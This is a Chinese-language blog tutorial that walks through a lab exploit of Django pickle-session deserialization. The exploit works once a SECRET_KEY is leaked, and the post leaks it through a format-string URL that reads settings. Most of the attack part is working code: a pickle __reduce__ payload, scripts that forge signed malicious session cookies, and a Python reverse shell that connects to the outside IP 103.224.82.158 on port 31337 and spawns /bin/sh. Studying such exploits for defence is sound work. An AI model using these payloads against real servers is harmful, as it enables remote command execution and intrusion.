1. 程式人生 > 實用技巧 >Django框架的一些漏洞

Django框架的一些漏洞

首先我們先來了解一下python中的序列號模板 pickle 這裡以一段程式碼為例子

import base64
import pickle
    
    
class cmd(object):
    def __reduce__(self):
        import os
        return (os.system, ('whoami', ))
    
sersize = base64.b64encode(pickle.dumps(cmd()))
print sersize

Y250CnN5c3RlbQpwMAooUyd3aG9hbWknCnAxCnRwMgpScDMKLg==

然後我們將得到的字串用pickle.load方法在去載入執行他

import sys
import base64
import pickle

pickle.loads(base64.b64decode(sys.argv[1]))

看見命令被執行

接下來我們對Django框架的rce進行一個簡單的分析

環境 centos7 django web
exploit環境 windows10 python2 djang-1.10.2

我們這裡以django1.3.0來舉例

這裡我們django包的路徑在

/usr/lib/python2.7/site-packages/django/contrib/sessions

在1.6之前 django對session的處理都是用的PickleSerializer方法來實現的

以我現在的web為例子

呼叫了PickleSerializer方法來對session進行處理,那麼我們接下來看一下整個session的獲取呼叫鏈可以可以為我們所用 這裡跟蹤方法到

/usr/lib/python2.7/site-packages/django/contrib/sessions/middleware.py

這裡配合我們上面看見的settings可以真的 session可以被我們在傳遞的時候進行控制

全金鑰-SECRET_KEY,作為 Django 專案中最核心的金鑰,通常情況下是不可能外洩的,但是凡事都有不能預料的時候,例如,開發人員疏忽將 SECRET_KEY 作為一個 api 金鑰加載於 JS 中,又或者專案中存在任意檔案下載漏洞,攻擊者通過下載 settings.py 檔案讀取到了金鑰 SECRET_KEY 的值,其他種種諸如此類的原因致使 SECRET_KEY 洩露成為可能。

若同時滿足上述兩個條件,並且使用了 PickleSerializer() 序列化處理過程,那麼攻擊者就可以構造出惡意的序列化字串,傳遞給伺服器,致使伺服器在訪問或修改會話資訊時呼叫了相應引擎的 load() 函式,反序列化 session 加密字串,觸發 pickle 任意命令執行漏洞。

實戰

第一步通過djang格式化字串獲取到加密的安全KEY

http://192.168.79.140/blog/hello/?input={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}

第二步構造exp

# coding: utf-8
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
from django.conf import settings

settings.configure(SECRET_KEY='85bus3!*+_3t1ks)&&o(u-liuhucshja!-44a1squ93=#+v+4r')  # SECRET_KEY 引數的值為 demo Django 專案的 SECRET_KEY 值


class CreateTmpFile(object):
    def __reduce__(self):
        import subprocess
        return (subprocess.call,
                (['touch',
                  '/tmp/vulnerable.txt'],))


sess = signing.dumps(
    obj=CreateTmpFile(),
    serializer=PickleSerializer,
    salt='django.contrib.sessions.backends.signed_cookies'
)
print sess

獲取到加密的cookie 然後向需要認證cookie的頁面/admin/發包

服務端會獲取到一個500的響應

此時看見rce成功

接下來我們構造getshell poc

# coding: utf-8
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
from django.conf import settings

settings.configure(SECRET_KEY='85bus3!*+_3t1ks)&&o(u-liuhucshja!-44a1squ93=#+v+4r')


class GetShellWithPython(object):
    def __reduce__(self):
        import subprocess
        return (subprocess.call,
                (['python',
                  '-c',
                  'import socket,subprocess,os;'
                  's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
                  's.connect(("103.224.82.158",31337));'
                  'os.dup2(s.fileno(),0);'
                  'os.dup2(s.fileno(),1);'
                  'os.dup2(s.fileno(),2);'
                  'subprocess.call(["/bin/sh","-i"]);'],))


sess = signing.dumps(
    obj=GetShellWithPython(),
    serializer=PickleSerializer,
    salt='django.contrib.sessions.backends.signed_cookies'
)
print sess

總結

這個環境搭建起來有點麻煩,尤其是安裝MySQL-Pthon的時候各種報錯 docker方便但是不使用他是為了更好的瞭解漏洞,因為第一次接觸到python的所以做的比較細心

環境搭建

https://github.com/jhao104/django-blog
https://stackoverflow.com/questions/5178292/pip-install-mysql-python-fails-with-environmenterror-mysql-config-not-found
yum install python-devel mysql-devel

exp參考

http://drops.xmd5.com/static/drops/web-8528.html
https://xz.aliyun.com/t/5793
https://segmentfault.com/q/1010000006007036
https://docs.python.org/2/library/pickle.html
https://rickgray.me/2015/09/12/django-command-execution-analysis/
https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.htm

Y250CnN5c3RlbQpwMAooUyd3aG9hbWknCnAxCnRwMgpScDMKLg==